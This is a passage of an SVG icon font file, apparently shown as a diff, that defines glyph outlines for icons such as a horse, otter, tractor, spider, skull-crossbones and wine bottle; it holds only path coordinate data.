-16 -16 -16h-64c-8.83984 0 -16 7.16016 -16 16v240c0 88.3604 85.96 160 192 160 +c49.2402 0 94.0098 -15.5801 128 -40.9805v48.9805c0 13.2598 10.75 24 24 24h16c13.25 0 24 -10.7402 24 -24v-13.8799c10.0498 3.58008 20.7197 5.87988 32 5.87988c39.8301 0 73.9805 -24.2695 88.5195 -58.8203c24.1006 9.04004 48.9307 26.7705 76.6006 26.6201z +M448 272c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16s-16 -7.16016 -16 -16s7.16016 -16 16 -16z" /> + <glyph glyph-name="horse" unicode="" horiz-adv-x="576" +d="M575.92 371.4l0.0605469 -77.71c0 -0.0107422 0.0185547 -0.00683594 0.0185547 -0.0166016c0 -13.4707 -8.34277 -25.0088 -20.1387 -29.7236l-32.5508 -13.0205c-15.4395 -6.17969 -33.04 0.5 -40.4893 15.3701l-18.9004 37.7002l-16 7.11035v-102.471 +c0.00976562 -0.219727 0.0800781 -0.419922 0.0800781 -0.639648c0 -30.4697 -12.2598 -58.0303 -32 -78.2197v-177.78c0 -8.83984 -7.16016 -16 -16 -16h-64c-8.83984 0 -16 7.16016 -16 16v150.4l-133.97 22.3301l-23.8398 -63.5908l26.3096 -105.26 +c2.53027 -10.0996 -5.11035 -19.8799 -15.5195 -19.8799h-65.9609c-7.48633 0 -13.7783 5.16602 -15.5098 12.1201l-24.8496 99.4102c-1.24707 4.98047 -1.8916 10.1924 -1.8916 15.5576c0 7.8916 1.43262 15.4502 4.05176 22.4316l25.7197 68.6006 +c-18.7002 17.5195 -30.54 42.2402 -30.54 69.8799c0 2.62988 0.570312 5.09961 0.780273 7.67969c-9.91016 -7.29004 -16.7803 -18.46 -16.7803 -31.6797v-56c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v56c0 48.5303 39.4697 88 88 88v-1.11035 +c17.5996 20.1299 43.1602 33.1104 72 33.1104h159.92c0 70.6904 57.3105 128 128 128h119.98c5.05957 0 8.94922 -4.67969 7.92969 -9.63965c-2.67969 -13.1699 -11.1201 -23.8203 -22.1797 -30.6602c5.10938 -5.37988 9.90918 -10.4697 13.6895 -14.5 +c5.56055 -5.93066 8.57031 -13.6699 8.58008 -21.7998zM511.92 352c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16s-16 -7.16016 -16 -16s7.16016 -16 16 -16z" /> + <glyph glyph-name="house-damage" unicode="" horiz-adv-x="576" +d="M288 333.04l218.74 -192.94c1.54004 -1.37988 3.55957 -2.04004 5.25977 -3.19922v-184.9c0 -8.83984 -7.16016 -16 -16 -16h-176.19l-39.9199 55.25l104.11 64l-148.05 136.78l60.1602 -119.221l-104.11 -64l37.2305 -72.8096h-149.23c-8.83984 0 -16 7.16016 -16 16 +v184.94c1.78027 1.20996 3.84961 1.88965 5.46973 3.34961zM570.69 211.72c6.5791 -5.89941 7.11914 -16.0195 1.21973 -22.5898l-21.4004 -23.8203c-5.91016 -6.56934 -16.0293 -7.10938 -22.5996 -1.20996l-229.32 202.271c-6.0498 5.33008 -15.1201 5.33008 -21.1699 0 +l-229.32 -202.28c-6.58008 -5.91016 -16.6992 -5.35938 -22.5996 1.20996l-21.4004 23.8203c-5.90918 6.58008 -5.35938 16.6895 1.20996 22.5996l255.99 226.011c7.60059 6.85938 17.1406 10.2793 26.7002 10.2695s19.1201 -3.4502 26.75 -10.3096l101.25 -89.3809v51.6904 +c0 8.83984 7.16016 16 16 16h64c8.83984 0 16 -7.16016 16 -16v-136.45z" /> + <glyph glyph-name="hryvnia" unicode="" horiz-adv-x="384" +d="M368 208h-99.7002l-34.6699 -32h134.37c8.83984 0 16 -7.16016 16 -16v-32c0 -8.83984 -7.16016 -16 -16 -16h-203.7l-29.4902 -27.2197c-4.3291 -4 -6.80957 -9.66992 -6.80957 -15.5801c0 -11.6807 9.50977 -21.2002 21.2002 -21.2002h83.6299 +c5.83301 0 11.1992 2.09375 15.3604 5.55957l11.75 9.80078c10.1895 8.48926 25.3193 7.12012 33.8096 -3.07031l20.4902 -24.5898c8.49023 -10.1807 7.10938 -25.3105 -3.07031 -33.7998l-11.7695 -9.81055c-18.6807 -15.5596 -42.2207 -24.0898 -66.54 -24.0898h-78.8203 +c-37.1396 0 -73.3799 17.8496 -92.0498 49.9502c-17.8701 30.7197 -17.54 65.4199 -4.12988 94.0498h-41.8604c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h99.7002l34.6699 32h-134.37c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16 +h203.7l29.4902 27.21c4.3291 4 6.80957 9.66992 6.80957 15.5801c0 11.6797 -9.50977 21.2002 -21.2002 21.2002h-83.6201c-5.62012 0 -11.0693 -1.9707 -15.3896 -5.57031l-11.7305 -9.78027c-10.1895 -8.48926 -25.3193 -7.12012 -33.8096 3.07031l-20.4902 24.5898 +c-8.49023 10.1807 -7.10938 25.3105 3.07031 33.7998l11.7695 9.81055c18.6807 15.5596 42.2207 24.0898 66.54 24.0898h78.8203c37.1396 0 73.3799 -17.8398 92.0498 -49.9502c17.8701 -30.7197 17.54 -65.4199 4.12988 -94.0498h41.8604c8.83984 0 16 -7.16016 16 -16v-32 +c0 -8.83984 -7.16016 -16 -16 -16z" /> + <glyph glyph-name="mask" unicode="" horiz-adv-x="640" +d="M320.67 384c449.09 0 348.32 -384 158.46 -384c-39.8994 0 -77.4697 20.6904 -101.41 55.8604l-25.7295 37.79c-15.6602 22.9893 -46.9707 22.9893 -62.6299 0l-25.7305 -37.79c-23.9502 -35.1699 -61.5195 -55.8604 -101.42 -55.8604c-199.11 0 -284.14 384 158.46 384z +M184 139.64c41.0596 0 67.7598 25.6504 80.0801 41.0508c5.22949 6.54004 5.22949 16.0996 0 22.6299c-12.3203 15.3896 -39.0098 41.0498 -80.0801 41.0498s-67.7598 -25.6504 -80.0801 -41.0498c-5.22949 -6.54004 -5.22949 -16.1006 0 -22.6299 +c12.3203 -15.3906 39.0205 -41.0508 80.0801 -41.0508zM456 139.64c41.0596 0 67.7598 25.6504 80.0801 41.0508c5.22949 6.54004 5.22949 16.0996 0 22.6299c-12.3203 15.3896 -39.0098 41.0498 -80.0801 41.0498s-67.7598 -25.6504 -80.0801 -41.0498 +c-5.22949 -6.54004 -5.22949 -16.1006 0 -22.6299c12.3203 -15.3906 39.0205 -41.0508 80.0801 -41.0508z" /> + <glyph glyph-name="mountain" unicode="" horiz-adv-x="640" +d="M634.92 -14.7002c3.2041 -4.98145 5.06348 -10.9756 5.06348 -17.334c0 -5.53906 -1.41113 -10.751 -3.89355 -15.2959c-5.60938 -10.2803 -16.3799 -16.6699 -28.0898 -16.6699h-576c-12.1191 0 -22.6582 6.7168 -28.0898 16.6602 +c-2.48242 4.5459 -3.89355 9.82715 -3.89355 15.3672c0 6.36035 1.85938 12.2891 5.06348 17.2725l288 448c5.88965 9.16016 16.0303 14.7002 26.9199 14.7002s21.0303 -5.54004 26.9199 -14.7002zM320 356.82l-102.06 -158.761l38.0596 -38.0596l64 64h85.3896z" /> + <glyph glyph-name="network-wired" unicode="" horiz-adv-x="640" +d="M640 184c0 -8.83984 -7.16016 -16 -16 -16h-104v-40h56c17.6699 0 32 -14.3301 32 -32v-128c0 -17.6699 -14.3301 -32 -32 -32h-160c-17.6699 0 -32 14.3301 -32 32v128c0 17.6699 14.3301 32 32 32h56v40h-304v-40h56c17.6699 0 32 -14.3301 32 -32v-128 +c0 -17.6699 -14.3301 -32 -32 -32h-160c-17.6699 0 -32 14.3301 -32 32v128c0 17.6699 14.3301 32 32 32h56v40h-104c-8.83984 0 -16 7.16016 -16 16v16c0 8.83984 7.16016 16 16 16h280v40h-72c-17.6699 0 -32 14.3301 -32 32v128c0 17.6699 14.3301 32 32 32h192 +c17.6699 0 32 -14.3301 32 -32v-128c0 -17.6699 -14.3301 -32 -32 -32h-72v-40h280c8.83984 0 16 -7.16016 16 -16v-16zM256 320h128v64h-128v-64zM192 0v64h-96v-64h96zM544 0v64h-96v-64h96z" /> + <glyph glyph-name="otter" unicode="" horiz-adv-x="640" +d="M608 416c17.6699 0 32 -14.3301 32 -32v-32c0 -53.0195 -42.9805 -96 -96 -96h-22.8604l-92.4697 -49.79l55.1104 -110.21h28.2197c17.6699 0 32 -14.3301 32 -32v-16c0 -8.83984 -7.16016 -16 -16 -16h-80l-74.5098 144.5l-149.49 -80.5h64 +c17.6699 0 32 -14.3301 32 -32v-16c0 -8.83984 -7.16016 -16 -16 -16h-224c-8.83008 0 -16 -7.16992 -16 -16s7.16992 -16 16 -16h112c17.6699 0 32 -14.3301 32 -32s-14.3301 -32 -32 -32h-108.47c-39.3799 0 -75.5205 26.9004 -82.2803 65.7002 +c-4.91016 28.1201 5 54.2197 23.1904 71.7998c23.5596 22.75 39.5596 52.1396 39.5596 84.8896v1.61035c0 106.04 85.96 192 192 192h56l153.25 87.5703c9.66992 5.51953 20.6104 8.42969 31.75 8.42969h20.4902c0.00390625 0 0.0166016 0.00878906 0.0214844 0.00878906 +c17.6602 0 33.6582 -7.17188 45.2383 -18.7588l13.25 -13.25h32zM512 400c-8.83984 0 -16 -7.16016 -16 -16s7.16016 -16 16 -16s16 7.16016 16 16s-7.16016 16 -16 16zM544 304c20.8301 0 38.4297 13.4199 45.0498 32h-77.0498l-118.57 -59.29l13.7705 -27.5498 +l101.84 54.8398h34.96z" /> + <glyph glyph-name="ring" unicode="" +d="M256 384c145.94 0 256 -61.9102 256 -144v-98.1299c0 -78.3506 -114.62 -141.87 -256 -141.87s-256 63.5195 -256 141.87v98.1299c0 82.0898 110.06 144 256 144zM256 320c-106.04 0 -192 -35.8203 -192 -80c0 -9.25977 3.96973 -18.1201 10.9102 -26.3896 +c44.9395 26.1797 108.859 42.3896 181.09 42.3896s136.15 -16.21 181.09 -42.3896c6.94043 8.26953 10.9102 17.1299 10.9102 26.3896c0 44.1797 -85.96 80 -192 80zM120.43 183.36c34.7305 -14.4307 82.6406 -23.3604 135.57 -23.3604s100.84 8.92969 135.57 23.3604 +c-34.6104 14.71 -81.21 24.6396 -135.57 24.6396s-100.96 -9.92969 -135.57 -24.6396z" /> + <glyph glyph-name="running" unicode="" horiz-adv-x="416" +d="M272 352c-26.5098 0 -48 21.4902 -48 48s21.4902 48 48 48s48 -21.4902 48 -48s-21.4902 -48 -48 -48zM113.69 130.53c7.92969 -17.2402 20.6699 -32.3799 37.9893 -42.6104l10.6699 -6.2998l-8.79004 -20.5205c-7.5293 -17.6494 -24.8594 -29.0898 -44.1094 -29.0898 +h-77.4502c-17.6699 0 -32 14.3301 -32 32s14.3301 32 32 32h66.8896zM384 224.01c17.6699 0 32 -14.3193 32 -31.9902c0 -17.6699 -14.3301 -32 -32 -32h-53.9902c-18.1895 0 -35.1094 10.5508 -43.1094 26.8906l-20.2705 41.4297l-31.3096 -78.2803l61.2393 -36.1396 +c18.75 -11.3096 27.5508 -33.6201 21.6406 -54.3896l-31.6406 -101.061c-4.29004 -13.6797 -16.9092 -22.4502 -30.5195 -22.4502c-3.16992 0 -6.38965 0.480469 -9.58008 1.48047c-16.8604 5.28027 -26.25 23.2305 -20.9697 40.0898l27.4697 87.7305l-84.9795 50.1699 +c-27.6104 16.2998 -38.9209 50.8301 -26.3008 80.3096l37.46 87.3906l-14.6992 4.36914c-7.83008 1.86035 -17.6006 -0.25 -25.2705 -6.13965l-39.6895 -30.4102c-14.0205 -10.7402 -34.0908 -8.10938 -44.8604 5.91992c-10.7705 14.0303 -8.11035 34.1104 5.91992 44.8604 +l39.6699 30.4102c23.0703 17.6895 52.54 23.9395 80.8398 17.1396l71.0801 -21.1396c26.3301 -6.70996 49.2803 -25.3906 61.7803 -50.9404l26.0596 -53.25h44.0303z" /> + <glyph glyph-name="scroll" unicode="" horiz-adv-x="640" +d="M48 448c26.4697 0 48 -21.5303 48 -48v-80h-80c-8.83984 0 -16 7.16016 -16 16v64c0 26.4697 21.5303 48 48 48zM256 35.4297c0 -31.8896 -21.7803 -61.4297 -53.25 -66.5498c-40.0996 -6.53027 -74.75 24.25 -74.75 63.1201v368c0 18.0801 -6.25977 34.5898 -16.4102 48 +h336.41c52.9404 0 96 -43.0596 96 -96v-256h-288v-60.5703zM288 64h336c8.83984 0 16 -7.16016 16 -16c0 -61.8604 -50.1396 -112 -112 -112h-336c52.9404 0 96 43.0703 96 96v32z" /> + <glyph glyph-name="skull-crossbones" unicode="" horiz-adv-x="448" +d="M439.15 -5.05957c7.89941 -3.9502 11.1094 -13.5605 7.15918 -21.4707l-14.3096 -28.6299c-3.95996 -7.89941 -13.5703 -11.0996 -21.4697 -7.14941l-186.53 90.7197l-186.52 -90.7197c-7.91016 -3.95996 -17.5205 -0.75 -21.4707 7.14941l-14.3096 28.6299 +c-3.95996 7.91016 -0.75 17.5205 7.14941 21.4707l141.98 69.0596l-141.99 69.0596c-7.89941 3.9502 -11.0996 13.5605 -7.14941 21.46l14.3096 28.6309c3.95996 7.90918 13.5703 11.1094 21.4697 7.15918l186.53 -90.7197l186.53 90.7197 +c7.91016 3.9502 17.5195 0.740234 21.4697 -7.15918l14.3096 -28.6309c3.95996 -7.89941 0.75 -17.5098 -7.14941 -21.46l-141.99 -69.0596zM150 210.72c-41.7803 22.4102 -70 62.75 -70 109.28c0 70.6904 64.4697 128 144 128s144 -57.3096 144 -128 +c0 -46.5303 -28.2197 -86.8701 -70 -109.28l5.5 -25.8701c2.66992 -12.6191 -5.41992 -24.8496 -16.4502 -24.8496h-126.08c-11.0293 0 -19.1201 12.2305 -16.4502 24.8496zM280 336c-17.6504 0 -32 -14.3496 -32 -32s14.3496 -32 32 -32s32 14.3496 32 32 +s-14.3496 32 -32 32zM168 336c-17.6504 0 -32 -14.3496 -32 -32s14.3496 -32 32 -32s32 14.3496 32 32s-14.3496 32 -32 32z" /> + <glyph glyph-name="slash" unicode="" horiz-adv-x="640" +d="M594.53 -60.6299l-588.351 454.729c-6.96973 5.41992 -8.22949 15.4707 -2.80957 22.4502l19.6396 25.2705c5.41992 6.97949 15.4805 8.23926 22.46 2.80957l588.351 -454.729c6.96973 -5.41992 8.22949 -15.4707 2.80957 -22.4502l-19.6396 -25.2705 +c-5.41992 -6.97949 -15.4805 -8.22949 -22.46 -2.80957z" /> + <glyph glyph-name="spider" unicode="" horiz-adv-x="576" +d="M151.17 280.65l-27.1504 54.2998c-2.14551 4.29883 -3.3623 9.18359 -3.3623 14.3115c0 3.53516 0.573242 6.9375 1.63281 10.1182l25.8896 77.6797c2.79004 8.39062 11.8604 12.9209 20.2402 10.1201l15.1699 -5.05957 +c8.39062 -2.7998 12.9102 -11.8604 10.1201 -20.2402l-23.7998 -71.3896l20.29 -40.5801c-1.41016 -4.20996 -2.49023 -8.20996 -3.20996 -11.79l-5.2207 -26.1201h-4.66992zM573.31 98.6201c4.90039 -7.35059 2.9209 -17.2803 -4.43945 -22.1797l-13.3105 -8.88086 +c-7.34961 -4.89941 -17.29 -2.90918 -22.1895 4.44043l-48 72h-47.0605l60.8301 -97.3301c3.16992 -5.08008 4.86035 -10.96 4.86035 -16.96v-77.71c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v73.1104l-74.0801 118.529 +c1 -14.0498 2.08008 -28.1094 2.08008 -42.21c0 -53.0693 -40.7598 -101.43 -96 -101.43s-96 48.3604 -96 101.43c0 14.1006 1.07031 28.1602 2.08008 42.21l-74.0801 -118.529v-73.1104c0 -8.83984 -7.16016 -16 -16 -16h-16c-8.83984 0 -16 7.16016 -16 16v77.7002 +c0 0.00292969 0.0205078 0.0400391 0.0205078 0.0439453c0 6.20898 1.77246 12.0078 4.83984 16.916l60.8301 97.3301h-47.0605l-48 -72c-4.89941 -7.35059 -14.8398 -9.33984 -22.1895 -4.44043l-13.3105 8.87988c-7.36035 4.90039 -9.33984 14.8398 -4.43945 22.1904 +l52.7393 79.1299c5.74121 8.60547 15.5186 14.248 26.6299 14.25h77.9404l-68.9902 24.3496c-6.81738 2.27441 -12.5947 6.74023 -16.5098 12.6104l-53.5996 80.4102c-4.90039 7.36035 -2.91016 17.29 4.43945 22.1895l13.3105 8.88086 +c7.35938 4.89941 17.29 2.90918 22.1895 -4.44043l50.5703 -75.8301l60.4902 -20.1699h36.0996l10.3701 51.8496c2.18945 10.9707 17.3701 60.1504 69.6299 60.1504s67.4404 -49.1797 69.6299 -60.1504l10.3701 -51.8496h36.0996l60.5 20.1699l50.5605 75.8301 +c4.89941 7.34961 14.8398 9.33984 22.1895 4.44043l13.3105 -8.88086c7.34961 -4.89941 9.33984 -14.8398 4.43945 -22.1895l-53.5996 -80.4102c-3.91504 -5.87012 -9.69238 -10.3359 -16.5098 -12.6104l-68.9902 -24.3594h77.9404 +c11.1084 -0.00292969 20.8828 -5.64453 26.6191 -14.25zM406.09 350.49l-23.7998 71.3896c-2.79004 8.37988 1.74023 17.4404 10.1201 20.2402l15.1699 5.05957c8.37988 2.80078 17.4502 -1.73926 20.2402 -10.1201l25.8896 -77.6797 +c1.06152 -3.18164 1.62598 -6.62109 1.62598 -10.1582c0 -5.12695 -1.20801 -9.97461 -3.35547 -14.2715l-27.1504 -54.2998l-25.9297 -8.65039h-4.66992l-5.2207 26.1201c-0.719727 3.58008 -1.7998 7.58008 -3.20996 11.79z" /> + <glyph glyph-name="toilet-paper" unicode="" horiz-adv-x="576" +d="M128 448h284.44c-36.7705 -38.4805 -60.4404 -108.4 -60.4404 -192v-172.07c0 -53.6494 -11.8799 -87.5693 -24.71 -126.05c-4.36035 -13.0703 -16.5898 -21.8799 -30.3604 -21.8799h-280.92c-10.9199 0 -18.6299 10.7002 -15.1797 21.0596 +c21.3701 64.1006 31.1699 85.75 31.1699 126.87v172.07c0 106.04 42.9805 192 96 192zM96 224c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16s-16 -7.16016 -16 -16s7.16016 -16 16 -16zM160 224c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16s-16 -7.16016 -16 -16 +s7.16016 -16 16 -16zM224 224c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16s-16 -7.16016 -16 -16s7.16016 -16 16 -16zM288 224c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16s-16 -7.16016 -16 -16s7.16016 -16 16 -16zM480 448c53.0195 0 96 -85.96 96 -192 +s-42.9805 -192 -96 -192s-96 85.96 -96 192s42.9805 192 96 192zM480 192c17.6699 0 32 28.6504 32 64s-14.3301 64 -32 64s-32 -28.6504 -32 -64s14.3301 -64 32 -64z" /> + <glyph glyph-name="tractor" unicode="" horiz-adv-x="640" +d="M528 112c48.5996 0 88 -39.4004 88 -88s-39.4004 -88 -88 -88s-88 39.4004 -88 88s39.4004 88 88 88zM528 0c13.2305 0 24 10.7695 24 24s-10.7695 24 -24 24s-24 -10.7695 -24 -24s10.7695 -24 24 -24zM608 288c17.6699 0 32 -14.3301 31.9902 -32v-50.7598 +c0 -8.49023 -3.37012 -16.6299 -9.37012 -22.6299l-50.8203 -50.8203c-15.7295 7.58984 -33.1602 12.2002 -51.7998 12.2002c-39.1396 0 -73.5498 -19.0098 -95.46 -48h-80.54v-6c0 -12.1504 -9.84961 -22 -22 -22h-7.16016 +c-2.9502 -9.90039 -6.91992 -19.46 -11.9102 -28.7207l5.06055 -5.05957c8.58984 -8.58984 8.58984 -22.5195 0 -31.1104l-31.1104 -31.1094c-8.58984 -8.58984 -22.5195 -8.58984 -31.1104 0l-5.05957 5.05957c-9.25977 -4.99023 -18.8203 -8.95996 -28.7197 -11.9102 +v-7.13965c0 -12.1504 -9.85059 -22 -22 -22h-44c-12.1504 0 -22 9.84961 -22 22v7.15039c-9.90039 2.94922 -19.46 6.91992 -28.7207 11.9092l-5.05957 -5.05957c-8.58984 -8.58984 -22.5195 -8.58984 -31.1104 0l-31.1094 31.1104 +c-8.58984 8.58984 -8.58984 22.5195 0 31.1094l5.05957 5.06055c-4.99023 9.26953 -8.9502 18.8193 -11.9102 28.7295h-7.13965c-12.1504 0 -22 9.85059 -22 22v44c0 12.1504 9.84961 22 22 22h7.15039c2.94922 9.90039 6.91992 19.46 11.9092 28.7207l-5.05957 5.05957 +c-8.58984 8.58984 -8.58984 22.5195 0 31.1104l31.1104 31.1094c7.92969 7.93066 20.2598 8.2002 28.8896 1.4707v146.52c0 26.4697 21.5303 48 48 48h133.45c0.015625 0 0.00878906 0.0341797 0.0244141 0.0341797c19.7969 0 36.8047 -12.0312 44.1055 -29.1738 +l56.0898 -130.86h102.33v40.2002c0 29.9902 10.5801 58.8994 29.5 81.7197c6.37988 7.7002 18.04 8.23047 24.7002 0.780273l21.6299 -24.1699c4.87012 -5.43066 5.74023 -13.6904 1.32031 -19.4902c-8.4502 -11.0801 -13.1504 -24.7197 -13.1504 -38.8398v-40.2002h64z +M176 32c44.1797 0 80 35.8203 80 80s-35.8203 80 -80 80s-80 -35.8203 -80 -80s35.8203 -80 80 -80zM198 288h110.04l-41.1504 96h-106.89v-96h38z" /> + <glyph glyph-name="user-injured" unicode="" horiz-adv-x="448" +d="M277.37 436.02l-90.6904 -68.0195h-81.1895c19.0098 46.8701 64.8193 80 118.51 80c19.1104 0 37.0801 -4.46973 53.3701 -11.9805zM342.51 368h-102.52l66.0293 49.5195c15.8203 -13.3193 28.5908 -30.0498 36.4902 -49.5195zM224 192c-70.6904 0 -128 57.3096 -128 128 +c0 5.48047 0.94043 10.7002 1.61035 16h252.779c0.660156 -5.2998 1.61035 -10.5195 1.61035 -16c0 -70.6904 -57.3096 -128 -128 -128zM80 148.3c9.34668 4.14844 19.4795 7.31641 29.8096 9.21973l98.4502 -221.52h-128.26v212.3zM0 -16v41.5996 +c0 41.1406 18.8799 77.5107 48 102.16v-191.76c-26.5098 0 -48 21.4902 -48 48zM256 32c26.4697 0 48 -21.5303 48 -48s-21.5303 -48 -48 -48h-12.71l-42.6699 96h55.3799zM313.6 160c74.2305 0 134.4 -60.1699 134.4 -134.4v-41.5996c0 -26.5098 -21.4902 -48 -48 -48 +h-80.4102c10.1504 13.4102 16.4102 29.9199 16.4102 48c0 44.1104 -35.8896 80 -80 80h-69.5898l-42.6699 96h7.37012c22.2393 -10.1797 46.8799 -16 72.8896 -16s50.6504 5.82031 72.8896 16h16.71z" /> + <glyph glyph-name="vr-cardboard" unicode="" horiz-adv-x="640" +d="M608 384c17.6699 0 32 -14.3301 32 -32v-320c0 -17.6699 -14.3301 -32 -32 -32h-160.22c-25.1807 0 -48.0303 14.7695 -58.3604 37.7402l-27.7402 61.6396c-7.88965 17.54 -24.0293 28.6201 -41.6797 28.6201s-33.79 -11.0801 -41.6797 -28.6201l-27.7402 -61.6396 +c-10.3301 -22.9707 -33.1699 -37.7402 -58.3604 -37.7402h-160.22c-17.6699 0 -32 14.3301 -32 32v320c0 17.6699 14.3301 32 32 32h576zM160 144c35.3496 0 64 28.6504 64 64s-28.6504 64 -64 64s-64 -28.6504 -64 -64s28.6504 -64 64 -64zM480 144 +c35.3496 0 64 28.6504 64 64s-28.6504 64 -64 64s-64 -28.6504 -64 -64s28.6504 -64 64 -64z" /> + <glyph glyph-name="wind" unicode="" +d="M156.7 192c48.7002 0 92.2998 -35 98.3994 -83.4004c7.5 -58.5 -38.0996 -108.6 -95.1992 -108.6c-46.6006 0 -85.6006 33.5 -94.2002 77.5996c-1.7998 9.60059 6.09961 18.4004 15.8994 18.4004h32.8008c6.59961 0 13.0996 -3.7998 15.1992 -10.0996 +c4.30078 -12.7002 16.3008 -21.9004 30.4004 -21.9004c19.5 0 34.9004 17.4004 31.5996 37.4004c-2.59961 15.6992 -17.5 26.5996 -33.3994 26.5996h-142.2c-8.7998 0 -16 7.2002 -16 16v32c0 8.7998 7.2002 16 16 16h140.7zM16 224c-8.7998 0 -16 7.2002 -16 16v32 +c0 8.7998 7.2002 16 16 16h334.2c16 0 30.7998 10.9004 33.3994 26.5996c3.30078 20 -12.1992 37.4004 -31.5996 37.4004c-14.0996 0 -26.0996 -9.2002 -30.4004 -21.9004c-2.09961 -6.2998 -8.5 -10.0996 -15.1992 -10.0996h-32.8008 +c-9.69922 0 -17.6992 8.7002 -15.7998 18.2998c9.7998 50.6006 59.5 87.1006 114.9 75.5c36.2002 -7.59961 65.5 -36.8994 73.0996 -73.0996c13 -61.9004 -34.0996 -116.7 -93.7998 -116.7h-336zM400 192c70.5 0 126 -65.5 108.9 -138.7 +c-9.60059 -41.0996 -43.5 -74 -84.7002 -82.7002c-58.9004 -12.5 -111.601 21.7002 -129.4 72.3008c-3.7002 10.2998 4.40039 21.0996 15.2998 21.0996h33.8008c5.7998 0 11.5996 -2.59961 14.5 -7.59961c8.2998 -14.5 23.6992 -24.4004 41.5996 -24.4004 +c26.5 0 48 21.5 48 48s-21.5 48 -48 48h-116.5c-6.59961 25.2002 -20.5 47.4004 -39.7998 64h156.3z" /> + <glyph glyph-name="wine-bottle" unicode="" +d="M507.31 375.43c6.25 -6.25 6.25 -16.3799 0.0107422 -22.6201l-22.6299 -22.6299c-6.25 -6.25 -16.3809 -6.25 -22.6309 0l-76.6699 -76.6699c19.7002 -46.5801 10.7305 -102.41 -27.2295 -140.37l-158.391 -158.39c-24.9893 -24.9902 -65.5195 -24.9902 -90.5098 0 +l-90.5098 90.5098c-24.9902 24.9902 -24.9902 65.5205 0 90.5098l158.38 158.381c37.9697 37.96 93.79 46.9297 140.37 27.2295l76.6699 76.6699c-6.25 6.25 -6.25 16.3799 0 22.6299l22.6299 22.6299c6.25 6.25 16.3799 6.25 22.6299 0zM179.22 24.71l122.04 122.04 +l-90.5098 90.5098l-122.04 -122.04z" /> + <glyph glyph-name="cloud-meatball" unicode="" +d="M48 96c26.5 0 48 -21.5 48 -48s-21.5 -48 -48 -48s-48 21.5 -48 48s21.5 48 48 48zM464 96c26.5 0 48 -21.5 48 -48s-21.5 -48 -48 -48s-48 21.5 -48 48s21.5 48 48 48zM345 84.9004c13.5 -7 23 -20.7002 23 -36.9004s-9.5 -29.9004 -23 -36.9004 +c4.59961 -14.5 1.7002 -30.7998 -9.7998 -42.2998c-8.2002 -8.2002 -18.9004 -12.2998 -29.7002 -12.2998c-4.2998 0 -8.5 1.2002 -12.5996 2.5c-7 -13.5 -20.7002 -23 -36.9004 -23s-29.9004 9.5 -36.9004 23c-4.09961 -1.40039 -8.2998 -2.5 -12.5996 -2.5 +c-10.7998 0 -21.5 4.09961 -29.7002 12.2998c-11.5 11.5 -14.5 27.7998 -9.89941 42.2998c-13.5 7 -23 20.7002 -23 36.9004s9.5 29.9004 23 36.9004c-4.5 14.5 -1.60059 30.7998 9.89941 42.2998s27.7998 14.5 42.2998 9.89941c7 13.5 20.7002 23 36.9004 23 +s29.9004 -9.5 36.9004 -23c14.5 4.5 30.7998 1.60059 42.2998 -9.89941c11.3994 -11.5 14.3994 -27.7998 9.7998 -42.2998zM512 224c0 -53 -43 -96 -96 -96h-43.4004c-3.5 8 -8.39941 15.4004 -14.7998 21.7998c-13.5 13.5 -31.5 21.1006 -50.7998 21.2998 +c-13.5 13.2002 -31.7002 20.9004 -51 20.9004s-37.5 -7.7002 -51 -20.9004c-19.2998 -0.199219 -37.2998 -7.7998 -50.7998 -21.2998c-6.40039 -6.39941 -11.2002 -13.7998 -14.7998 -21.7998h-43.4004c-53 0 -96 43 -96 96c0 42.5 27.7998 78.2002 66.0996 90.7998 +c-1.2998 6.90039 -2.09961 13.9004 -2.09961 21.2002c0 61.9004 50.0996 112 112 112c43.2998 0 80.4004 -24.7998 99 -60.7998c14.7002 17.5 36.4004 28.7998 61 28.7998c44.2002 0 80 -35.7998 80 -80c0 -5.59961 -0.5 -11 -1.59961 -16.2002 +c0.5 0 1 0.200195 1.59961 0.200195c53 0 96 -43 96 -96z" /> + <glyph glyph-name="cloud-moon-rain" unicode="" horiz-adv-x="576" +d="M350.5 222.5c37.2998 -6.7998 65.5 -39.2998 65.5 -78.5c0 -44.2002 -35.7998 -80 -80 -80h-256c-44.2002 0 -80 35.7998 -80 80c0 38.7998 27.5996 71.0996 64.2002 78.4004c0 0.5 -0.200195 1.09961 -0.200195 1.59961c0 53 43 96 96 96 +c32.0996 0 60.2998 -15.9004 77.7002 -40c10.3994 5 22 8 34.2998 8c39.2002 0 71.5996 -28.2998 78.5 -65.5zM567.9 224.2c6.19922 1.2002 10.5996 -6 6.39941 -10.7998c-27 -33.1006 -67.8994 -53.3008 -112.6 -53.3008c-5.2002 0 -10.1006 1 -15.2002 1.5 +c-6.2002 39.4004 -33.0996 72.5 -70.2002 86.8008c-10.7002 27.8994 -32.2002 49.7998 -58.8994 61.6992c3.2998 76.7002 66.5 137.9 144.399 137.9c8.90039 0 17.7998 -0.799805 26.5 -2.40039c6.2002 -1.09961 7.60059 -9.39941 2.10059 -12.5 +c-35.6006 -20.0996 -57.5 -57.5 -57.5 -98.0996c0 -70.5 64.5996 -124.1 135 -110.8zM364.5 29.9004c7.7002 -4.40039 10.2998 -14.1006 6 -21.8008l-36.5996 -64c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961 +c-7.69922 4.40039 -10.3994 14.1006 -6 21.8008l36.6006 64c4.39941 7.7998 14.2002 10.2998 21.7998 6zM268.5 29.9004c7.7002 -4.40039 10.2998 -14.1006 6 -21.8008l-36.5996 -64c-3 -5.19922 -8.40039 -8.09961 -13.9004 -8.09961 +c-2.7002 0 -5.40039 0.700195 -7.90039 2.09961c-7.69922 4.40039 -10.3994 14.1006 -6 21.8008l36.6006 64c4.39941 7.7998 14.2002 10.2998 21.7998 6zM172.5 29.9004c7.7002 -4.40039 10.2998 -14.1006 6 -21.8008l-36.5996 -64 +c-3 -5.19922 